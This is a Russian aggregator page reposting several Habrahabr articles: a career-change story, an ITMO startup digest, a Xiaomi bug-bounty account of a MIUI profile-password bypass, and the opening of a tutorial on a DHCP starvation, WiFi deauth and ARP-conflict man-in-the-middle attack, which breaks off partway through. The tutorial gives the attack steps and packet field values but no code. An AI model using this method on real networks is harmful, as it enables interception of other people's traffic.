                Но, конечно, с бумагой мы тоже до сих пор много работаем. И без специального стола никак:



                Ссылки


                • Реконструкция здания суда в Смоленске: habrahabr.ru/company/croc/blog/323044
                • Про инженерные подсистемы здания: habrahabr.ru/company/croc/blog/328140
                • Озвучивание храма и стадиона: habrahabr.ru/company/croc/blog/171147, habrahabr.ru/company/croc/blog/241305
                • Про BIM-среду проектирования – habrahabr.ru/company/croc/blog/335808
                • Моя почта – RStepanov@croc.ru.
                Original source: habrahabr.ru (comments, light).

                https://habrahabr.ru/post/338874/


                Метки:  

                Из маркетолога в тестировщицу ПО — смена профессии после 40? Почему бы и нет

                Четверг, 28 Сентября 2017 г. 10:32 + в цитатник
                Dorial сегодня в 10:32 Разное

                Из маркетолога в тестировщицу ПО — смена профессии после 40? Почему бы и нет



                  У нас в стране всё ещё бытует мнение, что человек должен овладеть какой-то профессией, и кормиться ею всю жизнь. Но эта самая жизнь сегодня меняется так быстро, что веками действующая схема работает всё хуже. Экономика оцифровывается, профессии исчезают, людей заменяют роботы и чат-боты. Поэтому сегодня всё труднее построить себе безбедное будущее, выбрав в молодости какое-то направление. Увы, но у нас пока не принято радикально менять профессию. И чем старше человек, тем труднее для него принять саму мысль, не то что решиться на это: «Как так, я уже 20 лет этим занимаюсь, опыт наработал, репутацию, а тут опять учиться, как школяру, и начинать с низов?». Да, решение непростое. Но чем сильнее экономико-технологические перемены будут влиять на занятость, тем актуальнее будет стоять вопрос смены профессии для всё большего количества людей. Но если человек сам хочет заняться чем-то новым, по желанию, а не из-за давления обстоятельств, то ему уже ничто не помешает.

                  Один из успешных примеров — история нашей коллеги Елены, которая после 40 лет из маркетолога переквалифицировалась в тестировщика программного обеспечения. Ей слово.

                  Всем привет! Сейчас в России женщинам после 40 очень сложно искать работу. Может быть, моя история кого-то сподвигнет на активные шаги, или просто поможет в выборе новой профессии.

                  В 17 лет я окончила школу, и нужно было выбирать, куда идти учиться. Я совершенно не понимала, чем заняться. Это был 1991 год, рухнул Советский Союз, поэтому все шли туда, где платили деньги — на юристов и экономистов. Я поступила в екатеринбургский Институт народного хозяйства, на специальность «Коммерция», то есть стала учиться на экономиста. Окончив институт, десять лет работала в региональных банках. Потом был переезд в Москву, и снова банковская сфера. Моя работа в основном была связана с маркетингом, с продвижением продуктов, с рекламой. Например, писала рекламные брошюры по вкладам. Где-то с середины 2000-х стало ясно, что мир всё больше и больше уходит в сторону IT, в сторону software. И сегодня в любой индустрии важную роль играет софт. Так случилось и с моей профессией.

                  Я работала в отделе разработки продуктов для розницы — это кредитные и дебетовые карты, вклады. Все эти продукты живут в некой программной системе. Её нужно было разрабатывать, тестировать, нужно было обучать сотрудников фронт-офисов, как работать в этой системе. И частично все эти задачи ложились на меня, как на менеджера по продуктам. Я стала всё больше общаться с айтишниками, формулируя и уточняя требования к системе. Объясняла, как должна работать система, чтобы конечный пользователь мог, к примеру, нажав такую-то кнопку, заполнить такое-то заявление, чтобы ему было легко и удобно.



                  В 2007 году я впервые поехала отдыхать в США и буквально влюбилась в эту страну. По возвращении стала думать, что было бы классно поработать там, пожить какое-то время. Стала искать информацию, набрела на форум «Говорим про US», и там узнала про школу тестирования Михаила Портнова в Кремниевой долине. Начала смотреть записи на канале Михаила, где он часто рассказывал истории успеха своих студентов. Так началось мое знакомство с профессией тестировщика.

                  Я видела много успешных студентов Портнова, и чем больше было технической работы в моих проектах, тем чаще я задумывалась: «Чем я хуже? Я тоже могу работать в передовой технологии, востребованной по всему миру». Когда решение созрело, мне уже было 40 лет (сейчас 43), и чем я занимаюсь? Пишу рекламные брошюры! При этом в банк приходит работать молодежь, они очень энергичные, с хорошим образованием, у них свободный английский. А я хочу быть на плаву и иметь на руках какую-то профессию, которая меня будет кормить и в 50 и в 60 лет, и при этом хочу быть востребованной, заниматься интересным делом. А самое главное, я очень хотела работать в технологической индустрии, которая является пионером на рынке, чтобы я могла вносить какой-то вклад в изменение мира.

                  Я стала задумываться. У меня ведь уже есть проекты, я ставлю требования, провожу приемочное тестирование для бизнеса. Так почему бы мне полностью не погрузиться в тестирование? И когда у меня появился крупный проект по переносу продукта из одной системы в другую, я постаралась действовать как настоящий тестировщик.

                  Первым делом прошла тренинг «Школа начинающих тестировщиков» Алексея Баранцева и его команды. Я всем его рекомендую, кто хочет приоткрыть для себя дверь в IT. Здесь вы встретите единомышленников, начнете развивать техническое мышление, получите азарт и мотивацию двигаться дальше. Далее я прошла тренинг «SQL для тестировщиков» от этой же команды. SQL — это must have для старта в тестировании.

                  По завершении проекта — это был апрель 2016 года — у меня было такое ощущение, что я уже просто гуру тестирования. Но на самом деле я ещё по уши была в маркетинге, рекламе, коммуникациях с клиентами. В тестировании я пока была новичком, да ещё и без технического образования. Была масса сомнений и вопросов, на которые нужно было ответить себе самой. Мне нужна была помощь, чтобы разобраться со всем этим. Я наняла себе карьерного коуча, Женю из Хьюстона (мы занимались по скайпу). Она помогла мне определиться:

                  • Уходить в IT или нет?
                  • Если да, то когда?
                  • Нужно ли получать второе высшее?
                  • Нужно ли мне идти в тестирование?
                  • Может быть, мне уйти в прожект-менеджмент?

                  Женя дала подсказку: «Если будешь уходить и искать работу с нуля, то упадешь в зарплате. Для тебя самый мягкий вариант — это попробовать из маркетинга перейти в IT в своём же банке. Будет меньше стресса, ты можешь сохранить свою зарплату, знаешь людей и окружение».

                  Я зашла на внутренний сайт банка и случилось чудо — была вакансия именно в отдел тестирования. Написала письмо начальнику отдела, приложила ссылку на свой профиль на LinkedIn. К тому времени мной была написана статья о тестировании для начинающих, на неё я тоже дала ссылку. Очень сильно переживала, как отреагирует Алексей, начальник отдела тестирования. Когда он всё это прочитал, то сказал: «Да. Случай интересный, очень нестандартный, потому что из IT в бизнес люди переходят, но чтобы из маркетинга в IT — это большая редкость». Мы поговорили, и он пригласил меня в свою команду. Я была просто счастлива, что в меня поверили. И сейчас уже год как я работаю в Quality Assurance (QA), в тестировании программного обеспечения, на должности тест-менеджера и UAT-координатора.

                  Новая профессия и учёба


                  Конечно, без технического образования в тестировании сложно. Нужно очень многому учиться, и учиться постоянно. Чтобы разобраться с новой темой, я сначала читаю статьи, затем прошу опытных коллег провести для меня часовой ликбез. А дальше уже тренинги. Например, недавно был крайне полезный двухдневный тренинг Scrum Foundation. А когда я только перешла в QA тест-менеджером, то сразу параллельно с проектом пошла на двухмесячный курс «Школа тест-менеджеров v.2.0». Мне это сильно помогло понять, кто такой тест-менеджер и чем он занят, направить мозги в нужное русло.

                  Книги читаю мало, так как считаю, что в них много воды и маркетинга. Предпочитаю гуглить и читать предметно. Но всё же я бы рекомендовала новичкам хоть и старую, но актуальную и мотивирующую книгу Романа Савина «Тестирование дот ком». Любопытно было почитать «Как тестируют в Google», хотя ничего особо нового там я не обнаружила. Для быстрого проникновения в философию Scrum рекомендую «Scrum a pocket guide, A smart travel companion».

                  Я занимаюсь наймом тестировщиков, в том числе начинающих, тест-анализом, дизайном тест-кейсов, тестированием, менеджментом дефектов, UAT. То есть выполняю роль мостика между бизнесом и IT, который помогает разговаривать обоим мирам на одном языке, чтобы бизнес получал такой программный продукт, который ему нужен.

                  Сейчас у меня в работе два крупных проекта по разработке продуктов для корпоративных клиентов. Один проект по методологии Waterfall для разработки веб-приложения, сервер приложений jBoss, бэкенд на Java. Во втором проекте используется фреймворк Scrum для развития десктопного приложения на C++. Оба приложения активно используют сервисы шины (ESB), MQ-очереди сообщений (продукт IBM). Поэтому очереди сообщений — это первое, с чем мне пришлось разбираться.

                  Для менеджмента дефектов обе команды используют продукт HP ALM с синхронизацией в Jira. Так как с синхронизацией бывают проблемы, сейчас мы пилотируем один из плагинов Jira для багтрекинга.

                  Мне очень нравится направление CI/CD — автоматическое развёртывание, непрерывная поставка и непрерывная разработка. В этой сфере сейчас создается очень много инструментов и фреймворков. В Scrum-команде мы внедряем авторазвёртывание с использованием Bamboo, поэтому тему CI/CD мне тоже пришлось изучать с нуля, как и принципы Scrum.

                  Нужно двигаться вперед, планов очень много: на ближайшие два года у меня запланирована учеба на разных курсах, от тестирования мобильных приложений до изучения автоматизации. В первом проекте у нас работает автоматизатор, для создания автотестов он использует Selenium Web-driver + Java, а мануальный тестировщик создает Jerkin-Cucumber-сценарии использования, которые впоследствии будут использоваться в Bamboo, когда в проекте внедрят непрерывную разработку и поставку ПО. Мне нужно в этом разбираться, поэтому по автоматизации планы на тренинги такие:

                  • Selenium, стартовый курс.
                  • Python для тестировщиков.
                  • Selenium WebDriver, полный курс.
                  • Java для тестировщиков.



                  Я смогла кардинально поменять профессию после 40 лет. Перейдя в IT, я получила возможность работать с очень интересными технологиями и современными направлениями. Например, наш банк сейчас активно работает со стартапами, и я уже принимала участие в тестировании новинок в биометрии. Важный момент — мне удалось нисколько не потерять в зарплате. И я знаю, что если завтра уеду в Америку или Сингапур, то за месяц-два точно найду работу в QA, благо английский позволяет.
                  Original source: habrahabr.ru (comments, light).

                  https://habrahabr.ru/post/338328/


                  Стартапы из России: дайджест Университета ИТМО

                  Четверг, 28 Сентября 2017 г. 09:15 + в цитатник
                  itmo сегодня в 09:15 Управление

                  Стартапы из России: дайджест Университета ИТМО

                    Мы продолжаем рассказывать о резидентах Технопарка Университета ИТМО, часть из которых приняла участие в нашем большом интервью. Сегодня поговорим подробнее о восьми компаниях-резидентах Технопарка, успешно развивающих свои проекты, — многие из них получили признание не только в России, но и за рубежом.

                    В этом материале:

                    • Софтверные и хардверные разработки резидентов Технопарка ИТМО
                    • Более эффективные и дешёвые решения в сфере секвенирования генома
                    • Генотерапевтический анальгетик, работающий до 7 дней
                    • И другие проекты

                    Мастерская-лаборатория ФабЛаб — подразделение Технопарка

                    «Оптимальное движение»


                    Что это: автоматизация на фармацевтическом производстве — системы контроля качества исполнения задач, автоматический расчет необходимых параметров на основе инновационной системы алгоритмов, автоматический учет растворов, применяемых мерных колб, а также сбор данных с оборудования в контрольных лабораториях фармацевтических производств.

                    В чем фишка: решения компании помогают обьединить большое количество средств мониторинга: за помещениями (например, мониторинг и оценка параметров вентиляции в чистых и условно-чистых помещениях), сотрудниками (контроль выполнения операций за счёт использования NFC-меток и QR-кодов), документацией, обслуживанием оборудования и другими параметрами производства.

                    Проект не имеет конкурентов в России и предлагает решения в несколько раз дешевле зарубежных аналогов. При этом разработки компании соответствуют стандартам GMP (международная система норм, правил и указаний в отношении производства в области медицины и пищевой промышленности), благодаря чему их можно выводить на рынки по всему миру.

                    В будущем: компания планирует выходить на европейский рынок и ведёт переговоры с западными партнерами для запуска тестирования продуктов компании на европейских производствах.



                    Датчик стресса


                    Что это: комплекс  мониторинга  состояния сердечно-сосудистой системы человека с глубиной прогноза в 2-3 дня. Прибор выполняет функции пульсоксиметра и электрокардиографа и даёт оценку состояния здоровья человека, причём в понятной для неспециалиста форме. Данные, полученные устройством, могут накапливаться и передаваться на ПК/смартфон со специализированным ПО.

                    В чем фишка: основная инновационная составляющая проекта — софт, задача которого — прогнозировать изменения состояния сердечно-сосудистой системы человека. В частности, прибор может реагировать на изменение тренированности организма, увеличение/снижение стрессоустойчивости, а также может отмечать изменения состояния организма, не связанные с увеличением нагрузки — это может расцениваться как тревожный сигнал. Кроме того, гаджет может собирать информацию, необходимую для дистанционной диагностики состояния здоровья пользователя — данные можно переслать для анализа лечащему врачу.

                    В будущем: создатели проекта уверены, что популярность проекта среди медиков возрастёт с появлением и распространением центров телемедицины, так как использование «датчиков» облегчает сбор и передачу информации о состоянии пациента, а в долгосрочной перспективе — поможет снизить затраты государства на проведение диспансеризации и получать адекватные данные по состоянию здоровья людей в заданном регионе.



                    VISmart


                    Что это: компания-разработчик программного обеспечения в области семантического веба, в том числе практических приложений для семантических технологий (в частности — приложения Ontodia). Ontodia служит для отображения семантических данных в виде диаграмм и построения графов, с помощью которых можно легко визуализировать любые данные.

                    В чем фишка: семантические технологии позволяют искать информацию не только по ключевым словам, но и по ассоциированным с ними значениям, создавать логические связи между этими значениями и визуализировать их в понятном для человека формате. Таким образом, система выдаёт более точные результаты поиска (нежели просто поиск по ключевым словам).

                    Однако, как отмечает коммерческий директор VISmart Дмитрий Павлов, в профессиональной среде существует не так много инструментов, которые позволяют использовать возможности семантических технологий на практике.

                    Поэтому мы решили создать инструмент, который позволит визуально представлять семантические данные в виде интерактивных графов.

                    — Дмитрий Павлов, в интервью порталу ITMO.NEWS

                    После загрузки в программу семантических данных сервис составляете из них граф, визуализирует их и сохраняет полученную диаграмму:




                    В будущем: создатели проекта уверены — семантические технологии будут все чаще применяться для анализа данных и сбора информации. Одно из направлений будущего развития в этой сфере — интеграция разных типов контента (текст, аудио, видео, диаграммы) и их комплексный анализ.



                    Adbooking


                    Что это: рекламная биржа, объединяющая рекламодателей и владельцев рекламных площадей; собственная сеть для демонстрации видеорекламы в общественных местах; система управления контентом.

                    В чем фишка: проект Adbooking не просто объединяет рекламодателей и площадки — в компании разрабатываются хардверные решения и софт для показа рекламы и управления рекламным контентом. Например, оборудование для создания цифровой видеорекламы:

                    • Медиаплеер на базе микрокомпьютера и ОС Andriod с системой коммутации видеосигнала, позволяющей использовать плеер для перехвата сигнала с основного канала вещания на сигнал с плеера на время показа рекламы (на основном канале вещания).
                    • Рекламный тейбл-тент — планшет, вмонтированный в специальный корпус, позволяющий установить его на стол. Тейбл-тент может работать в автономном режиме до 10 часов и может быть оснащен дополнительными кабелями и источником питания, позволяющими заряжать внешние устройства — мобильные телефоны, планшеты.
                    • Рекламное зеркало — дисплей, смонтированный за зеркалом и помещенный в алюминиевый корпус. Видимая область дисплея внутри зеркала может быть как закрыта зеркальной пленкой для создания эффекта зеркала при выключенном экране (от 50 до 80% отражения), так и быть полностью прозрачной. Может применяться как полностью рекламно-информационное устройство, либо получать сигнал из внешних источников, например, IP-TV или медиа-проигрывателя.
                    • Информационно-рекламный экран для транспорта — дисплей в вандалозащищенном и травмобезопасном корпусе, которое можно размещать в транспорте и использовать в качестве маршрутного табло или для показа рекламы с удалённым управлением воспроизведением контента.

                    В будущем: если к сетям WiFi в отелях и ресторанах все уже привыкли, то кейсов с бесплатным WiFi в транспорте (за исключением метро) в России не так уж много. Поэтому в Adbooking планируют разработать устройство и сервис для предоставления доступа к сети интернет через открытую WiFi сеть пассажирам транспортных средств (бесплатно в соответствии со всеми требованиями по регистрации) с возможностью демонстрации рекламного контента.



                    FactoryFinder

                     
                    Что это: онлайн-сервис для эффективной работы отдела закупок, который позволяет автоматизировать поиск и анализ предложений поставщиков, сравнить цены, сроки и условия поставки. В результате компания получает экономию до 45% при выборе наиболее выгодных предложений.

                    В чем фишка: этот резидент Технопарка работает как глобальный маркетплейс и этим отличается от самописных решений, которые компании разрабатывают для взаимодействия с собственными поставщиками. Сейчас сервис объединяет более десятка тысяч поставщиков, инженеров и закупщиков. По каждому из них система проводит аудит надежности — и не даёт попасть в «топ» выгодных предложений поставщикам, которые (случайно или намеренно) выставляют неправдоподобно низкие цены.

                    Такой подход помогает бороться с «откатами» внутри компаний и проверять менеджеров по закупкам — действительно ли они выбирают наиболее выгодное предложение из всех возможных. Кстати, сортировку в данном случае можно вести не только по цене, но и по надежности поставщика, а также другим условиям — например, сравнить разных поставщиков с учётом разных затрат на логистику. Команда продолжает работать над проектом и вносить в него улучшения: текущая версия системы — четвёртая.

                    В будущем: команда проекта продолжает оптимизировать сервис и выходить на новые товарные и географические рынки (в Европу и США).



                    Orbi Prime


                    Что это: Камера для съемки видео 360 градусов в формфакторе очков, а также технология монтажа видео, снятого на такой гаджет.

                    В чем фишка:

                    в отличие от других гаджетов для съемки Orbi Prime позволяет не использовать никаких дополнительных креплений (достаточно просто надеть очки и можно начать снимать) и вести съемку от первого лица.



                    Люди, которые смотрят отснятый тобой материал, буквально встают на твое место. Они получают возможность поворачивать голову и смотреть на то, что ты видел сам, на что ты даже, возможно, не обратил внимания.

                    — Александр Морено, технический директор проекта, в интервью порталу ITMO.NEWS

                    При этом очки позволяют снимать видео в формате до 4k и длительностью до 90 минут. Угол обзора полученной при монтаже сферы составляет 360x300°, гаджет синхронизируется с мобильными устройствами по WiFi и обладает классом защиты IP64. Кстати, функция, собственно, солнцезащитных очков в нем тоже предусмотрена.

                    Основные усилия при разработке устройства команда направила на создание софта, который превращает отснятые очками видеопотоки в полноценную панораму.

                    В будущем: в настоящее время в производстве находится прототип устройства в финальном дизайне — он будет готов к середине ноября этого года. В дальнейшем проект рассчитывает на коллаборацию с брендом по производству очков, а также планирует добавить возможность делиться видео в режиме реального времени.

                    Это, как выясняется, не такая простая задача — как отмечает Александр Морено: «Для livestream нужно, чтобы уже на выходе с устройства получалась готовая панорама, но вычислительные мощности современной электроники не позволяют сделать это в корпусе очков. Да, пока мы упираемся в возможности технологий, но мы уже начали работать в этом направлении».



                    АТГ Сервис Ген


                    Что это: компания, выполняющая на заказ молекулярно-биологические эксперименты (синтез олигонуклеотидов, секвенирование ДНК, синтез генов, синтез пептидов, экспрессию белков и другие). Работает с биологическими и фармацевтическими компаниями, государственными научными организациями России и СНГ.

                    В чем фишка: эта компания-резидент Технопарка ИТМО разработала технологию генной кодировки белков, ответственных за терапевтические процессы в организме. С ее помощью компания создаёт генотерапевтические препараты для ускорения регенерации, продления бодрствования, замедления старения (в клетки человека вводят гены, которые кодируют определенные белки, необходимые для тех или иных терапевтических целей).

                    Одна из их разработок — генотерапевтический анальгетик, одна доза которого способна оказывать на организм воздействие в течение семи дней (срок выбран с учётом необходимости длительного обезболивания и возможных задач последующего лечения).

                    В организме человека есть белки, которые ответственны за блокирование боли, например, некоторые виды эндорфинов. Когда организм ослаблен, он не может выработать этот белок в достаточном количестве. Если же ввести в организм ДНК, которая кодирует эндорфин, то его выработка увеличится, и человек перестанет чувствовать боль. Таким образом, мы не вводим в организм химическое вещество, тем более, из морфинного или опиоидного ряда.

                    — Илья Духовлинов, создатель компании «АТГ Сервис Ген» [источник]

                    Препарат вводится с помощью внутримышечных инъекций — в мышечную ткань поступает ДНК, кодирующая эндорфин, в результате чего в организме возникает новый очаг выработки эндорфинов, активный в течение недели.

                    В будущем: компания планирует запатентовать разработки на международном уровне. На сегодняшний день получены патенты в России, США, Японии и Бразилии.



                    Parseq Lab


                    Что это: компания-разработчик решений для молекулярно-генетической диагностики (например, для обнаружения наследственных заболеваний).

                    В чем фишка: поначалу компания занималась исключительно созданием наборов реагентов для проведения биохимических исследований. По итогам таких исследований специалист получал данные, которые требуют дальнейшей тщательной обработки и расшифровки. В итоге компания пришла к созданию комплексного продукта, который позволяет провести исследование и грамотно интерпретировать его результаты.

                    Например, тест-система для выявления генетических заболеваний у новорожденных используется как в России, так и за рубежом, и оказывается дешевле альтернативных методик.

                    В данном случае у ребёнка берётся образец крови, на основе которого проводится секвенирование генома (расшифровка последовательности молекулы ДНК в рамках того гена, который определяет формирование заболевания). Анализ позволяет определить клинически значимые мутации: можно выявить порядка 500 различных вариантов отклонения от нормы.

                    В будущем: данный проект прошёл клинические испытания в европейских лабораториях и может официально использоваться как диагностические решение не только в России, но и в ЕС. В настоящий момент компания готовит новые разработки, которые находятся в процессе проектирования и испытаний.
                    Original source: habrahabr.ru (comments, light).

                    https://habrahabr.ru/post/338872/


                    Метки:  

                    Как я участвовал в bug bounty от Xiaomi и что мне за это было

                    Четверг, 28 Сентября 2017 г. 09:14 + в цитатник
                    evil_me сегодня в 09:14 Разработка

                    Как я участвовал в bug bounty от Xiaomi и что мне за это было

                      — У нас дыра в безопасности.
                      — Ну, хоть что-то у нас в безопасности.


                      — Айфоны, вон, каждый год ломают, и ничего.

                      Я нашел эту ошибку случайно. Уверен, что ни один тестировщик и не подумал бы пойти таким путем — это настолько не очевидно, дико и непредсказуемо, что только случайность помогла мне поучаствовать в bug bounty от Xiaomi. В этом посте расскажу о том, как мне это удалось, что за это было и почему китайские сервисы — зло.

                      Предыстория


                      В операционке MIUI можно создать два «пространства» (для простоты я буду называть их профилями) — полностью независимых набора настроек, приложений и файлов, недоступных друг из друга (не считая отдельного приложения «Импорт»). Оба профиля можно запаролить и, допустим, пользоваться устройством с кем-то еще.

                      В чем, собственно, замес?


                      Замес в том, что я нашел способ переходить из второго профиля в первый без ввода пароля. Это было возможно через приложение Google Диска, которое по умолчанию установлено в глобальной прошивке на MIUI 8 и сразу доступно во втором профиле.

                      Второй профиль имеет меньше прав, чем первый — в нем, например, нельзя включать-отключать мобильный интернет или управлять резервными копиями в Google Диске. Если попытаться это сделать, приложение предлагает сходить в системный диалог «Manage Users» и выбрать пользователя, от имени которого совершается действие.

                      Но что-то пошло не так, и выбор главного профиля в этом окне приводил не к управлению резервными копиями, а к переходу в него без ввода пароля.

                      Сомнительная аналитика #1


                      В принципе, ничего страшного. Для эксплуатации уязвимости нужно, как минимум, знать один из паролей и иметь физический доступ к телефону. Но даже в рамках какого-то ограниченного коллектива получение доступа к данным, хранимым во втором профиле, может быть крайне неприятным.

                      С другой стороны, я не успел толком исследовать принцип появления экрана «Manage Users». Вероятно, есть системные методы для его вызова и из других приложений, но так далеко я не заходил.

                      Как с этим жить?


                      Сначала я думал заявить это как баг гуглового приложения (я слышал, что они иногда дают деньги за это). Но здравый смысл все-таки подсказал, что дыра в безопасности операционки может быть оценена дороже (да и фиксить ее нужно быстрее), и я пошел искать программу для баг баунти от Xiaomi.

                      Недолгие поиски привели меня в Xiaomi Security Center. Это сейчас туда худо-бедно процентов на 30 добавили английский перевод, а тогда он выглядел примерно так:


                      Xiaomi Security Center, sec.xiaomi.com

                      С гугл-переводчиком я почитал какие-то общие вещи про программу и понял, что найденная уязвимость тянет на категорию High — к ней относят SQL-инъекции, уязвимости в бизнес-логике, XSS с доступом к cookie, получение информации о пользователях устройства, эскалацию привилегий, обход экранов логина и еще несколько вещей. «Окей», подумал я, методом тыка нашел форму и пошел описывать проблему.


                      Форма отправки уязвимости

                      Встроенный в хром гугл-переводчик хорош ровно до момента, когда дело доходит до динамически формируемых выпадающих списков. Если поля title, description, proof-of-concept и solution были еще как-то понятны, то, что от меня хотели в списках, я не понимал совсем. Пришлось выковыривать иероглифы из нужных мест страницы через просмотр HTML-кода и переводить вручную.


                      Спасибо, теперь все понятно

                      Оказалось, что первый список определял тип уязвимости, второй конкретизировал ее, а в третьем нужно было выбрать масштаб проблемы — от low до major.

                      Я, естественно, написал что проблема крайне важна и дайте мне скорее денег уже терпеть нет сил я же такой молодец. Для подтверждения намерений я записал пятиминутное видео, где на ломаном английском рассказал, как эксплуатировать уязвимость и легко получить доступ к личным данным. Отправил информацию об уязвимости и способах ее устранения (шестого апреля) и стал ждать.

                      Сколько пришлось ждать?


                      11 апреля прямо в Security Center я получил сообщение от безымянного сотрудника Xiaomi.
                      Оно было таким:
                      > Thanks for your submission,this is not miui's issue so this got minor and no reward.Thanks for your support.
                      > Спасибо за отправку, это не проблема miui, она помечена незначительной и останется без награды. Спасибо за поддержку.

                      «Да как же так? Но это! Же! Дыра! Размером! С! Кимберлитовую! Трубку! В Якутии!» — примерно так я негодовал следующие четыре часа, а потом успокоился и написал ответное сообщение. Вот такое:

                      > Miui allows to view «manage users» screen and switch account without pass. anyway, do you have plan to fix this issue?
                      > В MIUI можно попасть на экран «Управление пользователями» и переключаться между аккаунтами без пароля. В любом случае, вы планируете устранять проблему?

                      Я был морально готов ждать еще пять дней (раз уж я все равно остался без награды), но ответ пришел через час:

                      > sorry,my mistake ,I will test again
                      > Простите, виноват. Проверю еще раз.

                      Сомнительная аналитика #2


                      Из-за «ошибки» оператора дыра могла быть закрыта примерно через бесконечность. Не знаю, как это работает в других программах поиска уязвимостей, но такой подход в Xiaomi явно настраивает на удручающие мысли.

                      Ошибку, тем не менее, исправили уже через две недели после перетеста — в свежем апдейте системы такой трюк уже не повторялся. По этой же причине сейчас пишу этот пост.



                      К счастью, тестирование не заняло много времени и на следующий день я получил вознаграждение в 1000 (тысячу) монет в магазине внутри Security Center.

                      Что еще за магазин?


                      На sec.xiaomi.com есть каталог вещей, которые можно купить за внутреннюю-безопасностную-валюту-победы (извините, я просто не придумал объяснения проще).


                      Ни в чем себе не отказывайте на тысячу призовых монет

                      Поняв, что ничего дельного из товаров выбрать не получится, я начал изучать еще одну интересную опцию — можно было «купить» юани за монеты, по курсу 1 юань за 1,5 монеты. Быстрый подсчет показывал, что моя тысяча монет лихо превращалась примерно в 5200 рублей (по курсу на момент написания статьи), и это выглядело очень хорошим вознаграждением за нажатие на пару кнопок в сомнительных местах системы.

                      Конечно же, я набил корзину юанями за 900 монет (квантизация по 150).
                      Конечно же, нажал на китайскую версию надписи «Оформить заказ».
                      И, конечно же, сразу столкнулся с кучей проблем.

                      Здесь был бы скриншот формы, если бы я его не потерял

                      Они требовали от меня имя, номер банковской карты и CVV номер ID.


                      Китайская форма ввода имени

                      Ни имя, ни номер российского паспорта не подходили — китайский номер ID содержит от 12 до 16 символов, а для имени отводилось всего от 2 до 6.
                      Но после пройденного награду упускать не хотелось, и я решил написать письмо в техподдержку и узнать, как выводят деньги иностранцы (которых, судя по никам ловцов уязвимостей, было много). Окей, с переводчиком ищем нужный раздел, заходим…


                      … черт.

                      Ладно, пришлось выбирать товары. В тысячу монет вместились умная лампа, умная 360-градусная камера и bluetooth-колонка. Вместе они стоят около 7200 рублей (или 124 доллара).

                      Оставшиеся три десятка монет я проиграл в «колесе удачи» там же на сайте.

                      Благо с оформлением проще, и пришлось просто придумать, как вместить адрес международной доставки в поле с ограничением в 100 символов, а также сократить имя до шести букв — Evgeny, а полное написать в «Notes».

                      Заканчивался июль.

                      А долго мне еще ждать?


                      После заполнения формы в личном кабинете не изменилось ничего. Первого августа решил все-таки уточнить, что там с доставкой, и написал сообщение в тот же диалог, где сообщал об уязвимости. Ничего не произошло.

                      Двадцать пятого августа я сделал еще одну попытку, и через пять дней получил ответ с треком посылки и извинениями.

                      Доставка заняла еще неделю, и я наконец-то получил посылку с наградой за баг баунти в Xiaomi. Приятно, что курьер из EMS доставил ее до двери и не пришлось никуда ехать. Happy end.

                      В комментариях готов ответить на ваши вопросы о любых этапах этого растянутого во времени процесса.
                      Спасибо за внимание!
                      Original source: habrahabr.ru (comments, light).

                      https://habrahabr.ru/post/338776/


                      Атакуем DHCP часть 2. DHCP + WiFi = MiTM

                      Четверг, 28 Сентября 2017 г. 09:01 + в цитатник
                      vladimir-ivanov сегодня в 09:01 Администрирование

                      Атакуем DHCP часть 2. DHCP + WiFi = MiTM

                        LOGO


                        В данной статье я расскажу про еще один способ осуществления MiTM в WiFi сети, не самый простой, но работающий. Прежде чем читать эту статью настоятельно рекомендую ознакомиться с первой частью, в которой я попытался объяснить принцип работы протокола DHCP и как с его помощью атаковать клиентов и сервер.


                        Как и всегда для осуществления данной атаки есть пару ограничений:


                        1. Мы должны быть подключены к атакуемой точке доступа.
                        2. У нас должна быть возможность прослушивать широковещательный трафик в сети.

                        И так как же это работает? Атака разделяется на несколько этапов:


                        1. Производим атаку DHCP Starvation;
                        2. Отправляем WiFi DeAuth пакеты;
                        3. Перехватываем ARP запросы от клиентов, отвечаем на них, чтобы создать конфликт IP-адресов и принудить клиента отправить DHCPDECLINE;
                        4. Перехватываем DHCPDISCOVER и DHCPREQUEST запросы, отвечаем на них;
                        5. Profit!

                        Разберемся в этой схеме поподробнее.


                        DHCP Starvation


                        Подключаемся к атакуемой WiFi сети и производим атаку DHCP Starvation с целью переполнить пул свободных IP-адресов.
                        Как это работает:


                        1. Формируем и отправляем широковещательный DHCPDISCOVER-запрос, при этом представляемся как DHCP relay agent. В поле giaddr (Relay agent IP) указываем свой IP-адрес 192.168.1.172, в поле chaddr (Client MAC address) — рандомный MAC 00:01:96:E5:26:FC, при этом на канальном уровне в SRC MAC выставляем свой MAC-адрес: 84:16:F9:1B:CF:F0.
                          DHCPDISCOVER


                        2. Сервер отвечает сообщением DHCPOFFER агенту ретрансляции (нам), и предлагает клиенту с MAC-адресом 00:01:96:E5:26:FC IP-адрес 192.168.1.156
                          DHCPOFFER


                        3. После получения DHCPOFFER, отправляем широковещательный DHCPREQUEST-запрос, при этом в DHCP-опции с кодом 50 (Requested IP address) выставляем предложений клиенту IP-адрес 192.168.1.156, в опции с кодом 12 (Host Name Option) — рандомную строку dBDXnOnJ. Важно: значения полей xid (Transaction ID) и chaddr (Client MAC address) в DHCPREQUEST и DHCPDISCOVER должны быть одинаковыми, иначе сервер отбросит запрос, ведь это будет выглядеть, как другая транзакция от того же клиента, либо другой клиент с той же транзакцией.
                          DHCPREQUEST


                        4. Сервер отправляет агенту ретрансляции сообщение DHCPACK. С этого момента IP-адрес 192.168.1.156 считается зарезервированным за клиентом с MAC-адресом 00:01:96:E5:26:FC на 12 часов (время аренды по умолчанию).
                          DHCPACK
                          DHCP clients

                        WiFi DeAuth


                        Следующим шагом производим Wi-Fi Deauth. Работает эта схема примерно так:


                        WiFi DeAuth


                        Переводим свободный беспроводной интерфейс в режим мониторинга:


                        Wlan1 set monitor mode


                        Отправляем deauth пакеты с целью отсоединить атакуемого клиента 84:16:F9:19:AD:14 WiFi сети ESSID: WiFi DHCP MiTM:


                        Send deauth packets


                        DHCPDECLINE


                        После того как клиент 84:16:F9:19:AD:14 отсоединился от точки доступа, вероятнее всего, он заново попробует подключиться к WiFi сети WiFi DHCP MiTM и получить IP-адрес по DHCP. Так как ранее он уже подключались этой сети, то будет отравлять только широковещательный DHCPREQUEST.
                        Send DHCPREQUEST after DeAuth


                        Мы перехватываем запрос клиента, но ответить быстрее точки доступа мы, само собой, не успеем. Поэтому клиент получает IP-адрес от DHCP-сервера, полученный ранее: 192.168.1.102. Далее клиент с помощью протокола ARP пытается обнаружить конфликт IP-адресов в сети:
                        Try detect IP address conflict


                        Естественно, такой запрос широковещательный, поэтому мы можем перехватить и ответить на него:
                        IP address conflict detected


